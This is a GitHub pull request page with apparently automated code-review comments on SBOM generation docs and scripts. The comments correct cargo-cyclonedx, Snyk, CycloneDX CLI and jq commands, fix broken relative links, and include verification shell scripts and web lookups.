rg -n "CARGO_CYCLONEDX_VERSION|cargo install|cargo-cyclonedx" -S . --glob '!vendor/**' --glob '!target/**' | head -200

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 169


🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Behavioral probe: simulate the documented vs used value in the exact command shape
# used by the script, and compare command outputs without installing anything.
python3 - <<'PY'
def current_cmd_override(value):
    return f"cargo install {' '.join(['--root'] + value.split(' '))} --no-track cargo-cyclonedx@"+value if "" else None
def suggested_cmd_override(value):
    return f"cargo install {' '.join(['--root'] + value.split(' '))} --no-track "+value
for value in ["0.5.9", "cargo-cyclonedx@0.5.9", "cargo-cyclonedx 0.5.9"]:
    print("VALUE=", value)
    # Current implementation uses the value to substitute crate name, not to provide just version
    print("SCRIPT_CURRENT_CARGO_ARG=", "cargo-cyclonedx@"+value)
    print("SCRIPT_INTENDED_ARG=", value)
PY

echo "## Cargo help if cargo is available"
if command -v cargo >/dev/null 2>&1; then
  cargo install --help | sed -n '1,120p' | grep -n "crate\[.*version\]\|version|--version" || true
else
  echo "cargo not available in sandbox"
fi

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 169


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "## locate install-tools.sh"
fd 'install-tools\.sh$' . || true

echo "## inspect install-tools.sh lines 1-80"
[ -f scripts/sbom/install-tools.sh ] && sed -n '1,80p' scripts/sbom/install-tools.sh | nl -ba

echo "## search related variables"
rg -n "CARGO_CYCLONEDX_VERSION|cargo-cyclonedx|cargo install|rust-only" -S . || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 169


🏁 Script executed:

#!/bin/bash
set -euo failonerror

echo "pwd=$(pwd)"
echo "top-level files:"
git ls-files | sed -n '1,120p'

echo "find script files:"
git ls-files '*install-tools.sh' '*install*' 2>/dev/null | sed -n '1,200p'

echo "inspect target file:"
if [ -f scripts/sbom/install-tools.sh ]; then
  awk '{printf "%6d: %s\n", NR, $0}' scripts/sbom/install-tools.sh | sed -n '1,90p'
fi

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 229


🏁 Script executed:

#!/bin/bash
set -e

echo "pwd=$(pwd)"
echo "top-level files:"
git ls-files | sed -n '1,120p'

echo
echo "target file:"
if [ -f scripts/sbom/install-tools.sh ]; then
  awk '{printf "%6d: %s\n", NR, $0}' scripts/sbom/install-tools.sh | sed -n '1,90p'
else
  echo "scripts/sbom/install-tools.sh not found"
fi

echo
echo "related usages:"
rg -n "CARGO_CYCLONEDX_VERSION|cargo-cyclonedx|cargo install|rust-only" -S . || true

echo
echo "cargo availability/help:"
if command -v cargo >/dev/null 2>&1; then
  cargo --version
  cargo install --help | sed -n '1,100p' | grep -nE "crate|version|--version" || true
else
  echo "cargo not available"
fi

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 169


🌐 Web query:

cargo install docs crate@version positional crate specification

💡 Result:

When using the cargo install command, the syntax for specifying a crate and an optional version is: cargo install crate[@version] In this positional specification, crate refers to the name of the package on the registry (defaulting to crates.io), and the optional @version allows you to specify a version requirement [1][2]. Key details regarding this syntax: 1. Positionality: The crate argument is provided as a positional argument after any command-line options [1][3]. 2. Version Specification: While the crate[@version] syntax is supported, it is common to also use the --version (or --vers) flag to specify the version [1][2]. 3. Version Format: If you provide a version without a requirement operator (like ^ or ~), Cargo treats it as an exact match to that MAJOR.MINOR.PATCH version [1][2]. If you include requirement operators, it functions as a standard version requirement [1][3]. 4. Contextual Usage: If you are installing from a source other than crates.io, such as a git repository or a local path, the positional crate argument is still used to specify which crate to install if the source contains more than one package [1][2]. Note that this syntax specifically refers to the positional argument structure for cargo install and is distinct from general Package ID Specifications used elsewhere in Cargo for referencing packages within a dependency graph [4].

Citations:


Fix the documented override value.

CARGO_CYCLONEDX_VERSION is used as the argument passed to cargo install, so an example value of 0.5.9 does not name cargo-cyclonedx. Use cargo-cyclonedx@0.5.9, or change the flag to pass the version via --version/--vers.

Proposed documentation fix
-#   CARGO_CYCLONEDX_VERSION=0.5.9 ./...        # override the pinned version
+#   CARGO_CYCLONEDX_VERSION=cargo-cyclonedx@0.5.9 ./... # override the pinned version
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
# Usage:
# scripts/sbom/install-tools.sh # install cargo-cyclonedx only
# CARGO_CYCLONEDX_VERSION=0.5.9 ./... # override the pinned version
# Usage:
# scripts/sbom/install-tools.sh # install cargo-cyclonedx only
# CARGO_CYCLONEDX_VERSION=cargo-cyclonedx@0.5.9 ./... # override the pinned version
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/sbom/install-tools.sh` around lines 9 - 11, Update the usage example
for CARGO_CYCLONEDX_VERSION in install-tools.sh to use the package-qualified
value cargo-cyclonedx@0.5.9, matching how the variable is passed to cargo
install; leave the existing installation behavior unchanged.

Comment thread security/SBOM.md
Comment on lines +163 to +171
#### [Snyk](https://snyk.io/)

```bash
# Snyk CLI accepts CycloneDX JSON directly
snyk sbom --file=security/sbom/backend.cdx.json
snyk sbom --file=security/sbom/frontend.cdx.json
```

For the contracts SBOM, Snyk does not currently evaluate Rust SBOMs from CycloneDX; instead use `cargo audit` against the `Cargo.lock`, which is already wired into `contract-smoke.yml`.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail
snyk sbom test --help | rg -- '--file'

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 215


🌐 Web query:

Snyk CLI reference snyk sbom test --file CycloneDX test existing SBOM

💡 Result:

The snyk sbom test command is used to check existing Software Bill of Materials (SBOM) files for vulnerabilities in open-source packages [1][2]. Command Usage The basic syntax for testing an existing SBOM file is [1][3]: snyk sbom test --file=<FILE_PATH> Requirements and Supported Formats To successfully test an SBOM, ensure your environment meets the following requirements: 1. Supported File Formats: The command currently accepts CycloneDX (JSON versions 1.4, 1.5, and 1.6) and SPDX (JSON version 2.3) [1][4]. 2. Component Identification: Packages and components within the SBOM must be identified using a PackageURL (purl) [1][3]. Supported purl types include npm, maven, pypi, golang, nuget, deb, rpm, and others [1]. Common Options - --file=<FILE_PATH>: Required. Specifies the path to the SBOM document [1][2]. - --json: Prints the results in a JSON data structure instead of the default human-readable format [1][3]. - --json-file-output=<FILE_PATH>: Saves the resulting vulnerability report to a specified JSON file [2]. - --severity-threshold=: Filters the reported vulnerabilities by a minimum severity level (e.g., high) [2]. Example To test an existing CycloneDX JSON file, run: snyk sbom test --file=bom.cdx.json Note that while some earlier documentation or experimental versions required an --experimental flag [4][5], this flag is generally not required for stable versions of the command [1][3]. Always refer to your local help documentation using snyk sbom test --help for the specific features enabled in your installed CLI version.

Citations:


🌐 Web query:

Snyk CLI snyk sbom --file project manifest generates SBOM

💡 Result:

Yes, the Snyk CLI command snyk sbom --file can be used to generate a Software Bill of Materials (SBOM) for a specific manifest file [1][2][3]. When you use the --file flag, you specify the exact manifest file (e.g., pom.xml, package.json, requirements.txt) upon which the SBOM will be based [1][4][3]. If this flag is omitted, the Snyk CLI will, by default, attempt to automatically detect a supported manifest file in the current working directory [1][2]. Key points for using this command: 1. Required Format: The --format flag is mandatory and must be included to specify the desired SBOM standard and output format (e.g., --format=cyclonedx1.6+json or --format=spdx2.3+json) [1][5][3]. 2. Output: The command outputs the SBOM to standard output by default [1][3]. You can redirect this output to a file using standard shell redirection (e.g., > mySBOM.json) or by using the --json-file-output=<FILE_PATH> flag [1][5][3]. 3. Example usage: snyk sbom --file=pom.xml --format=cyclonedx1.6+xml This command would generate an SBOM for the specified Maven pom.xml file in CycloneDX 1.6 XML format [1][3]. Ensure you are using a recent version of the Snyk CLI (minimum version 1.1071.0 is required for this feature) and have an active internet connection, as the generation process requires communication with Snyk [3].

Citations:


🌐 Web query:

Snyk sbom test CycloneDX rust cargo PURL types supported Rust purl

💡 Result:

Snyk officially supports the cargo Package URL (PURL) type for SBOM testing [1][2]. When using the snyk sbom test command or the Snyk REST API to test an SBOM for vulnerabilities, Snyk explicitly recognizes and supports components identified by cargo PURLs [1][3][4]. Key details regarding this support include: - SBOM Format Compatibility: Snyk accepts CycloneDX (JSON versions 1.4, 1.5, and 1.6) and SPDX (JSON version 2.3) files for SBOM testing [1][2]. - Identification Requirements: Components within your SBOM must be identified using a valid PURL [1][4]. The PURL for Rust packages should follow the standard pkg:cargo/name@version format [3][5]. - Usage: You can generate an SBOM using third-party tools like cargo-cyclonedx [3][6] and then scan that file using: - CLI: snyk sbom test --file=<path_to_sbom_file> [1][3] - API: By submitting the SBOM document to the Snyk sbom_tests REST API endpoint [2][7]. If a component in the provided SBOM does not contain a PURL or uses a PURL type that Snyk does not support, Snyk will skip vulnerability analysis for that specific component [2]. The cargo type is confirmed as supported among the list of standard ecosystem PURL types accepted by the Snyk platform [1][2][8].

Citations:


Use snyk sbom test for the CycloneDX files.

snyk sbom --file=... generates an SBOM from a manifest and requires --format; the existing CycloneDX SBOMs should use snyk sbom test --file=.... Current Snyk SBOM docs support CycloneDX JSON 1.4, 1.5, and 1.6; Rust components are recognized through valid pkg:cargo/... PURLs, so the “Rust SBOMs from CycloneDX are not evaluated” sentence is misleading.

Proposed fix
- snyk sbom --file=security/sbom/backend.cdx.json
- snyk sbom --file=security/sbom/frontend.cdx.json
+ snyk sbom test --file=security/sbom/backend.cdx.json
+ snyk sbom test --file=security/sbom/frontend.cdx.json
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` around lines 163 - 171, Update the Snyk commands in the
Snyk section to use `snyk sbom test --file=...` for both CycloneDX JSON files
instead of `snyk sbom --file=...`. Remove or revise the statement claiming Snyk
does not evaluate Rust CycloneDX SBOMs, while preserving the existing cargo
audit guidance if still applicable.

Comment thread security/SBOM.md
Comment on lines +173 to +182
#### [`bom-cli`](https://github.com/anchore/syft) / [Syft](https://github.com/anchore/syft) round-trip

```bash
# Verify a CycloneDX SBOM is structurally valid
syft attest --input sbom ./security/sbom/backend.cdx.json

# Convert to another format if your downstream tool needs SPdx
bom convert --input-format cyclonedx-json --output-format spdx-json \
--input-file security/sbom/backend.cdx.json \
> security/sbom/backend.spdx.json

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail
syft attest --help
cyclonedx validate --help
cyclonedx convert --help

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 3793


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

printf '--- security/SBOM.md excerpt ---\n'
sed -n '150,195p' security/SBOM.md || true

printf '\n--- Repository references for bom-cli / CycloneDX / Syft attest ---\n'
rg -n 'bom-cli|`@cyclonedx/bom-cli`|cyclonedx (validate|convert)|syft attest|Syft round-trip|CycloneDX round-trip' .

printf '\n--- Check whether SBOM file/path exists ---\n'
ls -la security/sbom 2>/dev/null || true

printf '\n--- Try local syft/cyclonedx availability only ---\n'
command -v syft || true
syft --version 2>/dev/null | head -n 1 || true
command -v cyclonedx || true
command -v bom || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 268


🌐 Web query:

CycloneDX CLI validate convert command --input-file --output-format spdxjson documentation

💡 Result:

The CycloneDX CLI provides commands to convert Bill of Materials (BOM) files between formats and validate them. Convert Command The convert command is used to transform BOM files between supported formats, including CycloneDX (XML, JSON, Protobuf), CSV, and SPDX JSON [1][2]. Usage: cyclonedx-cli convert [options] Key Options: --input-file : Specifies the path to the input BOM file. If omitted, the CLI reads from standard input (stdin) [1][2]. --output-file : Specifies the path for the output BOM file. If omitted, the CLI writes to standard output (stdout) [1][2]. --input-format : Specifies the input file format. Valid values include autodetect, csv, json, protobuf, spdxjson, and xml [1][2]. --output-format : Specifies the output file format. Valid values include autodetect, csv, json, protobuf, spdxjson, and xml [1][2]. --output-version : Specifies the target CycloneDX specification version. This option is ignored for CSV and SPDX formats [1][2]. Example: To convert a file to SPDX JSON format using a file path: cyclonedx-cli convert --input-file input.json --output-format spdxjson --output-file output.spdx.json To use stdin/stdout in a pipeline: cat input.json | cyclonedx-cli convert --input-format json --output-format spdxjson > output.spdx.json Validate Command The validate command is used to check the structural integrity of a BOM file [1][3]. Usage: cyclonedx-cli validate [options] Key Options: --input-file : Path to the BOM file to be validated [1][2]. --input-format : Specifies the format of the input file (autodetect, json, or xml) [1][2]. --fail-on-errors: Returns a non-zero exit code if validation fails, which is useful for automation and CI/CD pipelines [1][3][4]. Example: cyclonedx-cli validate --input-file sbom.json --fail-on-errors

Citations:


🌐 Web query:

github.com CycloneDX bom-cli convert --input-format cyclonedx-json --output-format spdx-json

💡 Result:

To convert a CycloneDX JSON BOM to SPDX JSON format using the CycloneDX CLI, use the following command structure: cyclonedx-cli convert --input-file --output-file --input-format json --output-format spdxjson [1][2] If you prefer to use standard input and output streams, you can pipe the data as follows: cat | cyclonedx-cli convert --input-format json --output-format spdxjson > [1][3] Key details for this command: 1. Input/Output Formats: The --input-format and --output-format options must be specified when using stdin/stdout [1][4]. When using file paths with --input-file and --output-file, the CLI can often infer formats, but explicitly providing them as shown above ensures correct execution [1][2]. 2. Format Names: Use json for the input format and spdxjson for the output format [1][5]. 3. Automation: This command is designed for automation environments, allowing you to integrate BOM conversion into larger pipelines [1][2]. For full usage help, you can run: cyclonedx-cli convert --help

Citations:


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

printf '%s\n' '--- security/SBOM.md excerpt ---'
sed -n '150,195p' security/SBOM.md || true

printf '%s\n' ''
printf '%s\n' '--- Repository references for bom-cli / CycloneDX / Syft attest ---'
rg -n 'bom-cli|`@cyclonedx/bom-cli`|cyclonedx (validate|convert)|syft attest|Syft round-trip|CycloneDX round-trip' . || true

printf '%s\n' ''
printf '%s\n' '--- Check whether SBOM file/path exists ---'
ls -la security/sbom 2>/dev/null || true

printf '%s\n' ''
printf '%s\n' '--- Check whether syft/cyclonedx/bom are available ---'
command -v syft || true
syft --version 2>/dev/null | head -n 1 || true
command -v cyclonedx-cli || true
command -v cyclonedx || true
command -v bom || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 2468


Use documented CycloneDX SBOM validation and conversion commands.

syft attest creates an attestation from a source or image, not structural validation for an existing CycloneDX file. The CycloneDX CLI supports validate and convert; use the documented syntax for those commands instead of bom convert.

Proposed fix
- syft attest --input sbom ./security/sbom/backend.cdx.json
+ cyclonedx-cli validate --input-file security/sbom/backend.cdx.json --input-format json --fail-on-errors

- bom convert --input-format cyclonedx-json --output-format spdx-json \
-     --input-file security/sbom/backend.cdx.json \
-     > security/sbom/backend.spdx.json
+ cyclonedx-cli convert --input-file security/sbom/backend.cdx.json --input-format json --output-format spdxjson --output-file security/sbom/backend.spdx.json
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
#### [`bom-cli`](https://github.com/anchore/syft) / [Syft](https://github.com/anchore/syft) round-trip
```bash
# Verify a CycloneDX SBOM is structurally valid
syft attest --input sbom ./security/sbom/backend.cdx.json
# Convert to another format if your downstream tool needs SPdx
bom convert --input-format cyclonedx-json --output-format spdx-json \
--input-file security/sbom/backend.cdx.json \
> security/sbom/backend.spdx.json
#### [`bom-cli`](https://github.com/anchore/syft) / [Syft](https://github.com/anchore/syft) round-trip
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` around lines 173 - 182, Update the “bom-cli / Syft
round-trip” documentation to use the CycloneDX CLI’s documented validate command
for structural validation of security/sbom/backend.cdx.json, and its convert
command for generating the SPDX output. Replace the incorrect syft attest and
bom convert examples while preserving the existing input and output files.

Comment thread security/SBOM.md
Comment on lines +185 to +198
#### Standalone validation (no third-party tool)

```bash
# jq one-liner — top-level shape sanity
jq '.bomFormat, .specVersion, .components | length' security/sbom/backend.cdx.json
```

Expected output:

```text
"CycloneDX"
"1.5"
<N>
```

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

printf '%s\n' '{"bomFormat":"CycloneDX","specVersion":"1.5","components":[{},{}]}' |
  jq '.bomFormat, .specVersion, .components | length'

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 183


🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf '%s\n' '{"bomFormat":"CycloneDX","specVersion":"1.5","components":[{"id":1},{"id":2}],"license":{"name":"MIT"}}' |
  jq '.bomFormat, .specVersion, (.components | length), (.license.name | length)'

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 199


Parenthesize the component count filter.

jq '.bomFormat, .specVersion, .components | length' counts the first two output values, so the string "CycloneDX" prints as 9 and "1.5" prints as 3. Group the array count so the command outputs the expected string values plus the component count.

Proposed fix
-jq '.bomFormat, .specVersion, .components | length' security/sbom/backend.cdx.json
+jq '.bomFormat, .specVersion, (.components | length)' security/sbom/backend.cdx.json
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
#### Standalone validation (no third-party tool)
```bash
# jq one-liner — top-level shape sanity
jq '.bomFormat, .specVersion, .components | length' security/sbom/backend.cdx.json
```
Expected output:
```text
"CycloneDX"
"1.5"
<N>
```
#### Standalone validation (no third-party tool)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` around lines 185 - 198, Update the jq validation command in
the “Standalone validation” section to parenthesize the .components filter
before applying length, preserving the separate .bomFormat and .specVersion
outputs and making length apply only to the components array.

Comment thread security/SBOM.md
Comment on lines +214 to +219
- [`.github/workflows/sbom.yml`](../../.github/workflows/sbom.yml) — the workflow that drives everything above.
- [`scripts/sbom/`](../scripts/sbom/) — the per-ecosystem generators and the `install-tools.sh` helper.
- [`scripts/README.md`](../scripts/README.md) — index of every maintenance script in the repo.
- [`docs/CONTRIBUTING.md`](../CONTRIBUTING.md) — section on dependency audit policy (orthogonal to SBOMs).
- [`docs/OPERATIONS.md`](../OPERATIONS.md) — release-time SBOM verification step.
- [`docs/RELEASE_CHECKLIST.md`](../RELEASE_CHECKLIST.md) — release checklist line item that references this file.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Fix the relative links from security/SBOM.md.

The workflow and scripts links use ../../, which moves above the repository root. The CONTRIBUTING.md, OPERATIONS.md, and RELEASE_CHECKLIST.md links omit their docs/ directory.

Proposed fix
-- [`.github/workflows/sbom.yml`](../../.github/workflows/sbom.yml)
+- [`.github/workflows/sbom.yml`](../.github/workflows/sbom.yml)
-- [`scripts/sbom/`](../../scripts/sbom/)
+- [`scripts/sbom/`](../scripts/sbom/)
-- [`docs/CONTRIBUTING.md`](../CONTRIBUTING.md)
+- [`docs/CONTRIBUTING.md`](../docs/CONTRIBUTING.md)
-- [`docs/OPERATIONS.md`](../OPERATIONS.md)
+- [`docs/OPERATIONS.md`](../docs/OPERATIONS.md)
-- [`docs/RELEASE_CHECKLIST.md`](../RELEASE_CHECKLIST.md)
+- [`docs/RELEASE_CHECKLIST.md`](../docs/RELEASE_CHECKLIST.md)
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- [`.github/workflows/sbom.yml`](../../.github/workflows/sbom.yml) — the workflow that drives everything above.
- [`scripts/sbom/`](../scripts/sbom/) — the per-ecosystem generators and the `install-tools.sh` helper.
- [`scripts/README.md`](../scripts/README.md) — index of every maintenance script in the repo.
- [`docs/CONTRIBUTING.md`](../CONTRIBUTING.md) — section on dependency audit policy (orthogonal to SBOMs).
- [`docs/OPERATIONS.md`](../OPERATIONS.md) — release-time SBOM verification step.
- [`docs/RELEASE_CHECKLIST.md`](../RELEASE_CHECKLIST.md) — release checklist line item that references this file.
- [`.github/workflows/sbom.yml`](../.github/workflows/sbom.yml) — the workflow that drives everything above.
- [`scripts/sbom/`](../scripts/sbom/) — the per-ecosystem generators and the `install-tools.sh` helper.
- [`scripts/README.md`](../scripts/README.md) — index of every maintenance script in the repo.
- [`docs/CONTRIBUTING.md`](../docs/CONTRIBUTING.md) — section on dependency audit policy (orthogonal to SBOMs).
- [`docs/OPERATIONS.md`](../docs/OPERATIONS.md) — release-time SBOM verification step.
- [`docs/RELEASE_CHECKLIST.md`](../docs/RELEASE_CHECKLIST.md) — release checklist line item that references this file.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` around lines 214 - 219, Correct the relative Markdown links
in the reference list of SBOM.md: change the workflow and scripts links to use
repository-root-relative paths with one fewer parent traversal, and add the
missing docs/ directory to the CONTRIBUTING.md, OPERATIONS.md, and
RELEASE_CHECKLIST.md links while preserving their destinations.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[SECURITY] Add SBOM generation for contracts and backend dependencies

2 participants